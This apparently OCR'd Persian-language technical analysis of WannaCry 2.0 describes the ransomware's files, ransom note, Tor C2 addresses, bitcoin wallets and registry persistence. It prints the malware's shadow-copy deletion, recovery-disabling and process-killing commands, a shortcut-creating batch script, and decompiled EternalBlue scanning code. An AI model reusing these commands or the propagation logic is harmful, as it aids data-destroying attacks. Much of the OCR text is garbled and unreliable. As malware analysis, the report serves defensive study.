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WannaCry

Ooops, your important files
are encrypted!
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@ Wana Decryptor 2.0

What Happened to My Computer?
Your important files are encrypted.
g 03, videos, databases and other files are no longer
een encrypted. Maybe you are busy looking for a way to
not waste your time. Nobody can recover your files without

Payment will be raised on -
: Can I Recover My Files?
SN52017 16:32:52 1 [Sure. We guarantee that you can recover all your files safely and easily. But you have

Time Lokt fou can decry; ¥ for free. Try now by clicking <Decrypt>.
eed to pay.
After that the price will be doubled.
't be able to recover your files forever.
re 50 poor that they couldn't pay in 6 months

Your files will be lost on

SH9201T 16:32:52 W [Payment is accepted in Bitcoin only. For more information, click <About bitcoin>.
rice of Bitcol
Ti oft

pri tcoin ore information,
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b oass ckddlos ZIP (Jold S5 o5 1y oy3n0 wilias S gli8la b (gl g doauwd oiws 43 di5)y )3 WannaCry cuidge sy 53

E:\temphav-test\ransomware\WanaCryptOrwcry.zip\, @M
File Edit View Favorites Tools Help
d =m v W = X i
Add Extract Test Copy Move Delete Info
T B way.zip| -
Name Size  Packed Size Modified Created Accessed
| msg 1329 657 262 067
b.wnry 1440054 14164 2017-05-11.. 2017-04-27.. 2017-05-11..
cwnry 780 177 2017-05-11.. 2017-05-10.. 2017-05-10..
rwnry 864 484 2017-05-11.. 2017-04-27.. 2017-04-27..
Swnry 3038 286 3009375 2017-05-09.. 2017-05-11.. 2017-05-11..
twnry 65 816 65828 2017-05-11.. 2017-05-11.. 2017-05-11..
| taskdl.exe 20 480 3457 2017-05-11.. 2017-05-11.. 2017-05-11..
i taskse.exe 20 480 2555 2017-05-11.. 2017-05-11.. 2017-05-11..
uwnry 245760 82980 2017-05-11.. 2017-05-11.. 2017-05-11..
«| 1] | »
0 object(s) selected
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Tor Client gl Js Jolis ZIP J316 :s.wnry =

)55y 42 boaye 084 (5) 550 sW)ljl :twnry =
WNCRYT Siguny b sl J26 bis )5l taskdl.exe =
L} (UiSio) ¢yloj 55 o3liiwl 3y90 )l :taskse.exe =
w2 UiSiey il :uwnry =

BMP B by 1581 2L oslaial 3y90 (0903 J26 :b.wnry =
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Ooops, your files have been encrypted! Chiness [simpified v
Enalish

Fay it 72wl ? s ampltedt
TH—LEBE X HRERINERTET - Chinese [racitional)
BBH-EHH - X EHE - W FSE - exeEF JLT E';;?:‘:"
SCEARIEINE T  EME A REEREIT I Danish
EH—R R E AR LAIER - ﬁz’cﬁl?fﬂiﬁﬁﬁﬁs‘cﬁ:?g;;fnho
AL JEERNETRS - MEEXFHRTHA EE'&EE@S{%EMSE

. . German
BEAREXBTHEBGE? Gresk
LA E TR - CHERTEITMRTIRSFRERE - FLL e
IRt e HRMIME RS - Japanese
{HiZ B BRET » thF RETPREARTHEE - forean
R <Decrypt> IXH » BRI LR TFRIE — LS HY « iFEHLC + Nowegian
ﬁ{m% ° gg:llﬂ-lguese
ERERELE Y FEMHNISEH - Romanian
EERE AT LB E ST MAMEAD - BAT R » HER{Husian
N #J%"*U @ Spani;h
SR AMRER  ET=XBRARSEE - swedish
iTH » — P ILBEZARME  BEKRRELT - Vietnamese
T BT ERE WEEL LEETFAFA  SEENERNE - BEER
IR RBBEAHESEAFT -

WanaCryptor (5)5aL ascWb! lowgi s (iluisiy (glogl; ¥ JSb

1050 6,133 TaskData pb b (glaigs 53 9 83,5 €idly)d 5 (Slini I 1) TOR Client jlj8l0,5 WannaCry Gwaw
=  hxxps://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip

S9idz0 03ldiwl i (LIS @ )8l L 'Bley (gloygym b bl ()85 (sl TOR Client i

gx7ekbenv2riucmf.onion
57g7spgrzlojinas.onion
xx1lvbrloxvriy2c5.onion
76jdd2ir2embyv47.onion
cwwnhwh1lz52maqm7 .onion

239450 [l 135 jg5md 5T (69) 22 BB () K550y tagz 8w (g5wwoslel (gl aslsl 45
= icacls . /grant Everyone:F /T /C /Q
A0 | sl 0 sl o 53 )8l b a5 (glddigyys; 9 ddigy 5> a5 (o hald 4y JolS awyiawd 85l Hgiuws ¢yl

A0 LBgio 1) (Sl Caumy 9 0315 6L (gloygpmw b asiyo (glodugyy (0LeS ) el i1 (61500 L Sl L

taskkill.exe /f /im mysqld.exe
taskkill.exe /f /im sqlwriter.exe
taskkill.exe /f /im sqlserver.exe
taskkill.exe /f /im MSExchange*
taskkill.exe /f /im Microsoft.Exchange.*

al B 3BIGug (2l 2 Dosye (SBUB ()10 8ol (13905 ol )5 (ol jl Sao

Command and Control - C&C - C2"'
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1 05gd 0 Szl rdilb)oéan 10 32) GBS (yaizod

=  HKCU\Software\Microsoft\Windows\CurrentVersion\Run\[random]"[Installed_Folder]\tasks
che.exe"
=  HKLM\Software\Microsoft\Windows\CurrentVersion\Run\[random]"[Installed_Folder]\tasks

che.exe"

= HKCU\Software\WannaCry\wd [Installed_Folder]
=  HKCU\Control Panel\Desktop\Wallpaper "[Installed_Folder]\Desktop\@ianaDecryptor@.bmp"

Ll 634 6391 85w (69) 1 12) (gVigun j1 S5 Lo b sl bl (6, 5550y wlilac (gly=1 63L] WannaCry «giS|

.der .pfx .key .crt .csr .pl2 .pem .odt .ott .sxw .stw .uot .3ds .max .3dm .ods .ots .sxc
.stc .dif .slk .wb2 .odp .otp .sxd .std .uop .odg .otg .sxm .mml .lay .lay6 .asc .sqlite3
.sqlitedb .sql .accdb .mdb .db .dbf .odb .frm .myd .myi .ibd .mdf .ldf .sln .suo .cs .c .cpp
.pas .h .asm .js .cmd .bat .psl .vbs .vb .pl .dip .dch .sch .brd .jsp .php .asp .rb .java
.jar .class .sh .mp3 .wav .swf .fla .wmv .mpg .vob .mpeg .asf .avi .mov .mp4 .3gp .mkv .3g2
.flv .wma .mid .m3u .m4u .djvu .svg .ai .psd .nef .tiff .tif .cgm .raw .gif .png .bmp .jpg
.jpeg .vcd .iso .backup .zip .rar .7z .gz .tgz .tar .bak .tbk .bz2 .PAQ .ARC .aes .gpg .vmx
.vmdk .vdi .sldm .sldx .sti .sxi .602 .hwp .snt .onetoc2 .dwg .pdf .wkl .wks .123 .rtf .csv
.txt .vsdx .vsd .edb .eml .msg .ost .pst .potm .potx .ppam .ppsx .ppsm .pps .pot .pptm .pptx
.ppt .x1tm .x1ltx .xlc .xIm .x1t .xlw .x1lsb .xlsm .xlsx .xls .dotx .dotm .dot .docm .docb
.docx .doc

S5 ws >3 (69) 3 39290 (g 18 HISIL (4l sl j53 a3 05V . 394 50 Gl .WNCRY (gldduny g5 6340 j0y (gl J3 18 d3gumy 4
S50 (6)5550) Cawmnss DRIVE_CDROM LT 45 a5 50 1) 0w 4y Juasio (ol

[E=8 B =
-
)=k » et [ #3 |[ Search test 2]
Organize ¥ Includeinlibrary v Sharewith =  Slideshow  New folder =~ M @
[» 50 Favorites k. | s, | s, |
S
= Libraries @i £
> 4@ Homegroup — — — — —
@Please Read M @WanaDecryptor  1.docWNCRY 1jpgWNCRY  1pngWNCRY  2.docWNCRY 2,jpg WNCRY
@it @.exe
> (% Computer
> € Network
2.png WNCRY 3.doc. WNCRY 3.jpg.WNCRY 3.png.WNCRY 4.doc WNCRY 4,jpg.WNCRY 4.png WNCRY

5.docWNCRY 5jpgWNCRY  5.pngWNCRY  6.docWNCRY 6jpg.WNCRY  6.pngWNCRY  7.docWNCRY

TjpgWNCRY  7.pngWNCRY  8.docWNCRY 8jpg WNCRY  &pngWNCRY  9.doc WNCRY 2jpg WNCRY -

l 152 items

WanaCryptor fauwgs s (513550, (slo Jald d3gas 1F JSis

sy o 5> @WanaDecryptor@.exe (sliSis, jl auws S 9 @Please_Read_Me@.txt oL b (5,Sgb auclbl ¢ylojan
23940 ol Cuwl 034 (5, K550y T (g Js 6 &5

Registry "
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I @Please_Read_Me@.bxt - Notepad _I_I- jm] ﬂ
File Edit Format View Help
Q: what's wrong with my files? =

A: ©Ooops, ¥cur important files are encrypted. It means you will not be able to access them anymore until they are decrypted
If you ollow our instructions, we guarantee that you can decrypt all your files quickly and safely!
Let's start decrypting!

qQ: Wwhat do I do?

A: First, you need to pay service fees for the decryption.
Please send $300 worth of bitcoin to this bitcoin address: 12t9vDPgwuez9INyMgw519p7AABisiresMw

Next, please find an application file named "@wanaDecrg tor@.exe". It is the decryqt software
run and follow the instructions! (vou may need to disable your antivirus for a while.)

Q: How can I trust?
A: Don't worry about decryption
we will decrypt your files surely because nobody will trust us if we cheat users

® If you need our assistance, send a message by clicking <Contact us> on the decryptor window.

@Please_Read_Me@.txt Js16 :F JSi&

&low bi> g Windows Recovery (43945 Jl=d,e Shadow Volume (glovdsuus B3> jgkiods 1) 135 (yaol, WannaCry
13550 )2l Windows Server Backup

C:\Windows\SysWOW64\cmd.exe /c vssadmin delete shadow /all /quiet & wmic shadowcopy delete
& bcdedit /set {default} boostatuspolicy ignoreallfailures & bcdedit /set {default}
recoveryenabled no & wbadmin delete catalog -q

.35 3idlg3 3 live O JSuib aline Iy "UAC (yMel 5lilyys g 315 Lo Administrator uwyiws & wlhgiaws ¢l (gl

@' User Account Control -

Do you want to allow the following program to make

<+’ changes to this computer?

Prograrm name:  Windows Command Processor

Werified publisher: Microsoft Windows

Program location: "C\Windows!\SysWOW6E4\cmd.exe” /c
vssadmin delete shadows fall /quiet &
wrnic shadowcopy delete & bededit /set
{default} bootstatuspelicy ignoreallfailures
& becdedit /set {default} recoveryenabled no
& wbadmin delete catalog -quiet

Show information about this publisher's certificate

Yo |[ Mo |

Change when these notifications appear

WannaCry ¢l (sly2! ¢yles 33 UAC o2y 10 JSi

5 3)90 (b DI g LSy, 892 yogas 3 (Slelbl Jolib dzbuo ¢yl L3940 8315 Gilas WannaCry 2.0 axao Guuw

.l

User Access Control "
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Ooops, your files have been encrypted!

What Happened to My Computer?
Your important files are encrypted.

Many of your documents, photos, videos, databases and other files are no longer
accessible because they have been encrypted. Maybe you are busy looking for a way to
recover your files, but do not waste your time, Nobody can recover your files without
our decryption service.

Payment will be raised on | [ p— My Files?
511672017 00:47:55 Sure. We guarantee that you can recover all your files safely and easily. But you have
not so enough time.

Time Left You can decrypt some of your files for free. Try now by clicking <Decrypt>.

But if you want to decrypt all your files, you need to pay.

You only have 3 days to submit the payment. After that the price will be doubled.

Also, if you don’t pay in 7 days, you won't be able to recover your files forever.

We will have free events for users who are so poor that they couldn’t pay in 6 months.
Your files will be lost on

How Do I Pay?

Payment is accepted in Bitcoin only. For more information, click <About bitcoin>.
Please check the current price of Bitcoin and buy some bitcoins. For more information,
click <How to buy bitcoins>,

And send the correct amount to the address specified in this window.

After your payment, click <Check Payment>. Best time to check: 9:00am - 11:00am

LV J SOV R Yoy ST .

5/20/2017 00:47:55

Time Left

Send $300 worth of bitcoin to this address:

12t9YDPgwueZ9NyMgw519p7AABisjr6 SMw

Contact Us

WannaCry 2.0 &)=y :# JSi

I b X wsldy g 02 Juaiio I3a20 TOR C2 S5m0 4 i8Iz b g s Check Payment aiy3S (gg) »2 o5 (ol5i
39450 0305 yinlad yj ygual dlio (gloyzxiy (LBL 035 plsl Cusld )y dzblins L AS(50 (w)ys

@Wanalecryptor@

You did not pay or we did not confirmed your payment!
Pay now if you didn't and check again after 2 hours,

Best time to check: 3:00am - 11:00am GMT from Meonday to Friday.

QK

2l i sl pdel IV JSS

Wl w)f 8 aslaiwl 3)90 535 Bitcoin (gl Silin wasb () (gdigas 5>

e https: //blockchain.info/address/13AM4Vi2dhxYgXeQepoHkHSQuy6NgaEb94
e https: //blockchain.info/address/12t9YDPgwueZ9NyMgw519p7AA8isjré6SMw
e https: //blockchain.info/address/115p7UMMngoj1pMvkpHijcRdfINXj6LrLn
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Summary Transactions

Address 2t9¥YDPgwueZ9 gw519pTAABIS|r6S No. Transactions 38 Fali]
Hash 160 14a477964ed719135d1598da348a858b18b441d5 Total Received 6.80581381 BTC i}
Tools Related Tags - Unspent Qufputs Final Balance 6.80581381 BTC il
Summary Transactions

Address 13AMAVIW2dhxYgXeQepoHKHSQuy6 1ED94 No. Transactions 35 ali]
Hash 160 7b4bd9a139158614e8154c6b800a1822609436a Total Received 500218759 BTC dlii
Tools Related Tags - Unspent Outputs Final Balance 5.00218759 BTC i}
Summary Transactions

Address 15p7U g0j1 pMVKpHIjcRATJNX|ELIL No. Transactions 30 i}
Hash 160 e8fd98cald4f195b020af4a8b1c7238663d4212 Total Received 364134512 BTC olif
Tools Related Tags - Unspent Outputs Final Balance 3.64134512 BTC olil

WannaCry ylsbo sslaiwl 3y90 Bitcoin (slo i jl (53 4 b udlyyy &us Egamo tA JSb

8y byl szl glsbo b ¢lgise o @2yb ;1 45 cuwl Contact Us ylgic b iz Jolio WannaCry 2.0 o)z yaicxad
35

195 §063)S (5 )5 Desktop awgy )5 @WanaDecryptor@.bmp glgic L1 b.wnry (LB o5 (yloyd (g2 51 pue ljdl
B0y 3 JSib liine (g 19005 4 |y dinej pu

= cmd.exe /c start /b @WanaDecryptor@.exe vs

WannaCry 4; ea 63001 6lXiw> DeSktop aisej uy yigeai 14 i

Ylgw g yidiw wlelbl Jols a5 39y 50 (25 @Please_Read_Me@.txt J21 jl aus < 525 Desktop g9y » (paizo
9is0 T uly 9 Jglaia
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&850 (2!
c.wnry J: lgizo g 63,5 szl "MsWinZonesCacheCounterMutexA" ob «; “ Jiliio jlasl S lail > TaskStart
00000000.pky 35 8350 (2w g 63ga3 2 ly3xiwl 00000000.dky Jo16 51 1y 3alS 15812 b o 51 G . 35le> 50 (gl pauo jl 1,
G 9 03,5 akidl> 3)lg 1o JSui 4ylino |y RSA (sogac 3415 S WannaCry bl diolas 3929 3alS )51 .45 (61351 aksl> )5 1,
A5 138135 (a2 dl>po 55 39450 65235 00000000.pky 318 53 634is skl (sogac 3alS . A5 50 Sl |) (5w 2048 39 2ulS

ol 634 (6,550, )93 (5090 35 b (pogias S ¢yl .aS 5o 8,u>> 00000000.eky Jolé ) 1y s34 dloul ogas

00000000 06 02 00 00 00 a4 00 00 52 53 41 31 00 08 00 00 ...sv...RBAL....
00000010 01 00 01 00 75 97 d4c 3b 84 46 de 2c 2a f4 95 a8 ....u.L;.F.,*...
00000020 5d c0 cd 6d da d7 d4 92 1le 13 B2 34 6a 70 Bd 8f J..m....... 4ip..
00000030 7c £7 04 92 55 7f f1 a2 27 bZ %e 41 ac 90 BO 91 |...Usvs'cuBiuus
00000040 18 93 c2 bl 7b ad 2b £3 ff af db 2b 51 be 1d a3 ....{.+....+0...
00000050 27 e3 a7 57 08B 5a be €1 1d £f6 04 £f8 lc be 5b bl "..W.Z.iususaals
00000060 67 fb e4 c8 da 75 00 70 bl 17 70 24 6c 09 63 74 g....u.p..p$l.ct
00000070 ac 4b 0a 1d 71 ae 7f ae 65 b8 5 86 79 5 Te 9f K..g...€...¥.~.
00000080 98 60 4c 52 b9 29 62 cb 23 29 ed 31 91 74 7b 7b . LR.)b.#).1.t{{
00000090 Ob 26 1b £2 7d 67 bf da 7a 40 da £2 61 4d 94 a5 .&..}g..zf..aM..
000000A0 7d ad 59 6b ad 9e a3 3a 39 c6 5b 6e 9f d2 bb 36 }.YKk...:9.[n...6
000000BO b5 f5 d2 65 £5 2c 30 d8 ¢l 17 bd af 28 00 96 20 ...e.,0..... (o«
000000C0 46 a7 2d 62 03 0c d7 d0 75 a0 0b 07 ea d4 1f ca F.-b....U.uv.usn
000000D0 e8 d9 d4e db 3B £2 26 75 c¢b 12 a6 B8 70 9b el ea .. .N.B.&U.wesPuus
000000E0 32 dc £8 71 72 50 41 e6b 17 81 68 27 42 Be df e5 2..gqrPA...h'B...
000000F0 de al 72 d9 3b fb e5 9d 30 11 69 92 cd 60 2b e2 ..r.;...0.1..7+.
00000100 d5 46 3c 28 cf 9d 30 4a £7 ad b9 fb 0f 91 fe 2e .F<(..0J0vuvuunn
00000110 be 18 f1 ce cane

RSA (;e9ac 35 1o JSb
Jolid 60 dibgs 8L . dumy g -0 00000000.res Jol8 j5 ol 1PF HLSH a6l YO o g 63,5 |2l I, Thread < WannaCry

WannaCry buwgs Jald ¢yl 2l diislas 3929 00000000.res 16 olidla b cadlad 5EET (loj )3 551394 0 @isw (53935 (yLoj

315 3929 s A (] Jldo 5 000 IPA g 634 (@3 Hlade (83Lal Wygo 4y &5 Cuwl Cub A (gjLET (glgizo .39 50 Sl
S )5 odid 25 (gaals ;I eslasiwl b Mlgise LT aSul Luwyn gl LS 4l Yo ,o 1) (5,5 Thread olslzb
Faeleaddgo (LiSio) S1.05 50 slaul s b a3 pll |y (WiS)e) 9 () K550, wliac 00000000.pky 9 00000000.dky
ol Juaiio 3332 6w H51 .00 2l 23z Juasl golliws Gings gl )b 4ol ¥ o 1) )50 Thread <G Hlslzb

9 » M2l Ao of (595 2 39790 B (6)5550 4 plasl WannaCry il sxis (3lwliss CDROM lgic 4
10550 L2l 1) 5 95w g <Drive_letter>:\SRECYCLE U 4; diigy < sl (S0 i 4 034 Juaio 3333 (olSiws

e attrib +h +s <Drive_Letter>:\$RECYCLE
B 93 (g2 (5l ;a5 Thread <G yaizad 33550 Sl )Ly 450 Vo ,0 1, taskdl.exe b 4; Thread < WannaCry

1S 0 ST — bl oadb Izl System adaw 3 138145 ,51 g administrator Luyiws 43 disg — 5 °(529993

e (@WanaDecryptor@.exe
e taskse.exe <Full_Path>\@WanaDecryptor@.exe

9"Z" G "a" cdmygi (3 jl dwnygd 10 B A Jolis (5T pb a5 39450 dislw Hl38l 2 b bawgs dildpudmo )5 3l S Ay dl>jyo 5o
105 slzol aud dislw AS pb b dilspamo )3 1) 15 (g yumo Cawwl (3500 Guaw . 3ibb50 "9" G "0" pB)l ¢y 51 @8, ¥

e  HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\<Key>

Mutex *
Binary °
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e  HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\<Key>

e cmd.exe /c reg add <Registry_ Ru_Path> /v "<Random>" /t REG_SZ /d
"\"<Full_Path>\tasksche.exe\"" /f

2B b (5,550,
S50 (5)135)L aksls )5 1) 555 RSA T)lSg5 3uds S WannaCry

00000000 06 02 00 OO0 00 a4 00 00 52 53 41 31 00 08 00 00 ........R8Al....
00000010 01 00 01 00 43 2b 4d 2b 04 9c (Oa d9 9f le da 5f ....CHM+.icavuu_
00000020 ed 32 a9 ef el ce la 50 £4 15 e7 51 7b ec b0 27 .2.....F...0{..'
00000030 56 05 58 b4 £6 83 c9 b6 77 5b 80 61 18 lc ab 14 V.X.ieu o aW[aBausa
00000040 d5 6a fd 3b 70 9d 13 3f 2e 21 13 £l e7 af ed fb .j.ip..?.leuuun.
00000050 ab 6e 43 71 25 6d 1d 52 d6 05 5f 13 27 9%9e 28 89 .nCg¥m.R.._.'.(.
00000060 f£f6 ca 90 93 0Oa 68 c4 de 82 9 aa c2 82 02 bl 18 ...ohiucnunnans
00000070 60 01 63 1b bec 71 Bd be 64 B8 5e d5 0d 6c cl 9 ".c..g..d.”..l..
000000B0 <9 01 36 89 c9 80 37 8f 1d B89 67 4f Oc bl 3¢ 6l ..6...7...90..<a
00000090 09 3a 02 5d bB 4e f£5 88 0a 9f Bc Oa 86 df 91 fe .:.].Hivevuuuann
000000A0 od 9f al a0l 13 d3 2d 30 77 dl £f0 a8 d7 ab 96 €5 ...veu=-0Wauauusa
000000BD 4B 96 37 03 69 64 97 06 5c 27 50 8¢ 91 76 67 85 H.7.id..\'P..vg.
000000C0 3a 6c 6a bZ 39 12 0a 61 £2 al ee a8 24 cB ed bl :1j.Y..8..0.5...
000000D0 11 6d d6é cc £7 B8f 4c 5e b0 55 84 81 6d 60 45 84 .m....L".U..mE.
000000E0 Of fc df £9 27 a5 52 ¢9 5b 06 28 ad de 74 03 d6 .... .R.[.(..t..
000000F0 <7 72 66 dc be ad4 le ££f 20 96 ed 51 84 00 cc 9%¢ .rf..... «uQuuu
00000100 36 64 £2 85 4d cf 36 60 dd c8 b0 £1 91 db 7a 0b 6d..M.6 ......2.
00000110 83 ee cf ef P

RSA )543 (;09ac 35 1 b
9 )9 b T B3I Guyp (gl Jac ¢yl duny50 p5 4y .03 50 Lzl "fi" yiolb b |, @WanaDecryptor@.exe 1 )lslz L

2B 0X60 J=xo )3 1) (5935 (ylej WannaCry bl s34 jg,4 Bitcoin Hilis Jold 3L jgpmw Guwly .3bb jgmw Gwly wadly)s
iS50 2,5 c.wnry

Slwl ghs b I JSid 53 034 031 inlas cag Sl g 63,5 (25 @WanaDecryptor@.exe s I, u.wrny Jo o812 b Gumaw
Slael ¢y 1 jlado G g (53955 (loy pwlwl yy 45 (83bal (glopl b tanySwl ¢l A5 1,2l @WanaDecryptor@.exe.Ink
"188391494652743.ba" : Jlis ¢lgic 4 £39d50 6yu>3 waml "9" 5 "0"

fecho off

echo SET ow = WScript.CreateObject("WScript.Shell")> m.vbs

echo SET om = ow.CreateShortcut("[Full Path]\@WanaDecryptor@.exe.lnk")>> m.vbs

echo om.TargetPath = "[Full Path]\@WanaDecryptorg.exe">> m.vbs

echo om.Save>> m.vbs

cscript.exe //nologo m.vbs

del m.vbs

del /a %0

b Jobb Bl g (plovls ey IB1 eanySwl Y JSB

Embedded
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il owe 1) "%.<Value> BTC" L "S<Value>worth of bitcoin" yslis jl Sy (3iSa E95 @ dian 38l 2U dl>pe ¢l )
1wl yaj 2y 43 J2B (gl (glgizo L duwngi 0 @Please_Read_Me@.txt js rwnry Jobd (glgizo
Q: What's wrong with my files?

A: Ooops, your important files are encrypted. It means you will not be able to access them anymore
until they are decrypted.

If you follow our instructions, we guarantee that you can decrypt all your files quickly and
safely!

Let's start decrypting!

Q: What do I do?

A: First, you need to pay service fees for the decryption.
Please send <Ransom Amount> to this bitcoin address: <Bitcoin_address>

Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software.
Run and follow the instructions! (You may need to disable your antivirus for a while.)

Q: How can I trust?

A: Don't worry about decryption.
We will decrypt your files surely because nobody will trust us if we cheat users.

* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window.

MNPIZL &S Giloj a3 (50 )I)8 Baw Iy )5 Document g Desktop (gledisgy ys 39290 (g Jsd J=lpo (2! 51 o WannaCry
pleul Caddge b (S)Lii}o) Olalae a5 (590 53 9 WS40 =l "~SD" Dgainy b idgo Jold SOl ddigy SO Gingy Jlo )y

.A.SSL’A RS l) dJlS C)T ‘.39{4")

Ayls Iy .wnery g .dil c.exe godigus jl o &5 (Rl w1 I8l L dedl ()1iS50) jokiio 4y ol (lwlics ¢yloj 5>

2SS 6y 050y 1y 1) (sadigs b pb @i (gddisgy cawl (;Sao WannaCry

= \\

= \$

= Intel

= ProgramData
=  WINDOWS

®= Program Files

®= Program Files (x86)

=  AppData\Local\Temp

= Local Settings\Temp

= Temporary Internet Files
=  Content.IE5

23S0 b5 Bpo divgy ol 65550y 51 (3992 Sy )00 5 g 03,5 duglio yy5 diddy b 1) paigy ob WannaCry ¢yuizes
Cawl 0393 )l38l0,5 duwgi g (aibojT Bladl (gl diy ¢yl 45 duwy 50 ;5 4y 9 )15 3929 Alold dunygd diiddyy ¢yl (glail
= " This folder protects against ransomware. Modifying it will reduce protection™

I, @WanaDecryptor@.exe g @Please_Read_Me@.txt Ja16 g3 1515 )L,8 3T )5 Bad (gl Jald a5 (lddivgy 5o Hlidlab

28 1 6595 LSl wyp aSis) (peus . isls WANACRY! aisyy Jolis B 3S 0 (spp 5 1) o ald Jol b A LaiSo0 (25
S Jols liaebl dildS ) LT s () 5550, jl B 330 plosl by s 3T g9y

81l buwgs a5 (LB, 5950 Lg)lii}n) TAV:) ‘5)&5.0)},95 O 32Tw a5 RSA (Sogac 35 S5 Jawgi 6 ;0 (gl o3uis sl

T |"||||=3c|5 _II‘II
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duygd Cuwl oo J2b £g5 4y diany L3940 a8LSI o (leisl 4 WNCRY duwngs o jlel WANACRY! didsy b sg4s )50,
L s WNCRYT a o0uis adlol

216 551,058 eslaianl 634 Slxyl (93las wyguody a5 RSA g5 a5 < jl cawl (5San Hlibla b AES 35 b (65550 loj 5o
0 33 ol )51 .85 50 3adgi (83Las sac S WannaCry «aih cob YodVIdwoo jl yiaS Jald 6jlasl g diilas 399 f.wnry
39050 (6)5550) 2l No yiSIA> (AulS ¢l b . diS 50 o3kl AES 35S (6,550 (gly2 RSA jISg5 s <y 51158185 cdibly Voo I
3 a5 ()90 5> . AiS5e e fownry Jald 53 1) ol awe WanNNaCry i (g)B550) RSA 1555 345 L AES 25 o5 (o5
a5 RSA 205 <G b 1) AES oS jlislaly il didlas 3929 i 69y 2 J48 51 fwnry Job b dils Voo jl (b (95Las

S50 (6)K050) el 0340 Slawl (Bsbal g 4

1S (50 ) Whgiwd (hal 4 plad] 812 L ) plall 4 ,)1S Documents g Desktop (glodig, 5 o s (5,550, a5 (Siloj

=  taskkill.exe /f /im Microsoft.Exchange.\*
= taskkill.exe /f /im MSExchange\*

= taskkill.exe /f /im sqlserver.exe

= taskkill.exe /f /im sqlwriter.exe

= taskkill.exe /f /im mysqld.exe

N9di0 (6)8550) SgaelS 4 Juaio (glojlwoss>3 (59) 2 39290 (S dols] >

2 UiSio) (s>

iS50 L8y bl 395 0NioN jgpw b Y000 15,5 g (Sl imaw (59) 2 634 Ll TOR 3810, 5l eslasiwl L WannaCry
Gl (23Le)d jw 1 (5)B550) (GBI JUDI I puy 9 63)S S ONION gy )3 |y (S i SleMbl ISl L
290 5l (pUiS5e) cagz |y RSA (sogas 3uds WannaCry g wslsy gb o5 (05 . 2iS 0 Wi 1) Volume Shadow

S0 T 1) b (sliSho) 9 03,5 Cadlyyd (L@ 35lesd
Canddgo b @laSl (] &S (S)g0 5o . Xlg2y |y HKLM\Software\WannaCry\wd (glgizo 33550 (035 laiyl ,» WannaCry

Abld 3929 yauo 93 ¢l 51 (G a5 (Siloj A5 (SlgS)8 1) il pame )3 HKCU )3 dyliso yumwo (glgizeo U 3iS 50 (2w «duin pll

AL diblas 3929 59536 b ;51 . 2lg3 00 Iy (5T Sl YAo 9 03,5 5 (g)lz yumns jl 3929 <90 53 |y c.wnry Js6 WannaCry
39400 Szl 1P IS 55 044 6315 yinles (glgizo b LG

00000000 OO0 00 00 00 OO0 0O OO0 00 00 OO0 0O OO0 00 00 00 00 .ecavasassusanns
[Mull bytes omitted]

00000060 OO0 OO0 00 0O OO OO OO0 OO OO OO0 OO0 00 42 03 14 539 .ecsvssassasBaY
00000070 0O 00 00 0O OO0 0O OO0 00 00 OO0 96 43 00 00 00 00 .ecavasawas—Cauua
[Null bytes omitted]

000000BO 00 00 31 33 41 4D 34 56 57 32 64 68 78 59 67 58 ..l3aM4VW2dhxYgX
000000CO 65 51 65 70 6F 48 6B 48 53 51 75 79 36 4E 67 61 eQepoHkHSQuyGNga
00000000 45 62 39 34 00 00 00 00 0O OO0 0O 00 OO0 0O 00 00 Eb94u.iiwssusaasns
[Full bytes omitted]

00000300 00 00 00 00 OO0 00 OO0 OO0 0O 00 OO0 00 seeesenansas
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by )3 Uinles 9 3T)8 ol 880 e ) LIS Hopw b AT DL yiohly ol Juwy0 yB5 43 :c0 =
Sgae plil bl
vssadmin yljl jl eslaiwl b Volume Shadow Wbi>:vs =

SMB Lg),gi,gw'i 5l (290,02

EternalBlue «; pgwge SMB (5 0damul j| (2920562 b wiyiivl 9 aSuid gl )3 )Ll o8l b ol pol> soSiag jl 52

.l

Cannl 5 gaac (538 i 45 (Ll aSuis o )3 ) IP glodisls jl isyed GetAdaptersinfo() g jl eslaiwl L WannaCry

lwlich jghiody dSuwd (Hingy 43 ElABI g 63,5 dlawl sais 2wl IP g (Slin j1 S o 5 GlaahyT doldl )5 . 3S 0 2 lxicwl
A0 500 (golKiiws

SizePointer = 8;
if { GetadaptersInfo{@, &SizePointer) *= ERROR_BUFFER_OUVERFLOW }
return 9;
if ( *SizePointer )
return 8;
AdaptorInfo = {struct _IP_ADAPTER_INFO =)LocalfAlloc{B®, SizePointer);
hiem = AdaptorInfo;
if ( tAdaptorinfo )
return 8;
if { GetadaptersInfo{AdaptorInfo, &SizePointer}) )
{
LocalFree{AdaptorInfo};
return 8;

H

WannaCry a s 631 a8t (oo aSuds 53 IP (gl 3l wadsS AF (JSibs

92050 (sh2l 9 63,5 445 815)5 Ga,b jl LT 4y JLasl 4y pla81 58121 0 Gings (L 51 S 1 1 Guwly dly)d g0 y>
gz o 1 HhSI2L s s di8)S L8 i oliiws 41 did) 41§90 4iBd 83 Wao Byl 9300 45 (LI)90 5O .AS(0

int _ cdecl scan_IP{int a1}
{
void =u1; // eax@2
void =u2; /f esi@2
if { can_connect_to port_445{a1) > @ )
{
vl = (void =)beginthreadex{®, 8, HS17_@10_attempt_puwn_thread, a1, 8, @);
vz = ui;
ifF (vl )
{
if { WaitForSingleDbject{v1, 68888Bu) == WAIT_TIMEOUT }
TerminateThread(v2, 8);
CloseHandle{u2};
¥
¥
InterlockedDecrement{{volatile LOHG =)&FileHame[268]);
endthreadex{@);
return 8;
H
483 Yo bl 5l uny 03 aluliad (Lol 53,5 63901 (gly WS aSgi 1O JSub
Exploit "
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05,5 Gayb I il 4y JLasl g wiyiial (69) 2 (593Las IP (gl il (yinagy 3 pla8] 6 0390 6w (59, j| WannaCry ¢yaizad
31 (G905 15 JSib . b iy (yiagy 445 615,338l (gl jub (Ui T /24 diols (ol byl ()8 390 53 . AiS 50 445
.51di8,5 1,8 85 )3 1595 s)gu0d) g Lilodis Slawl (s )g0ds 15812 b ¢yl (Lodiun . A0 Linlas |y WannaCry (Jue)l diw

Protocol Length Info

TCP 60 1073 > 445 [ACK] Seq=1 Ack=1 Win=64240 Len=0

TCP 60 445 > 1073 [ACK] Seq=1 Ack=2 Win=64240 Len=0
60 445 > 1073 [RST, ACK] Seq=1 Ack=2 win=0 Len=0

TCP 60 1074 > 445 [ACK] Seq=1 Ack=1 Win=64240 Len=0

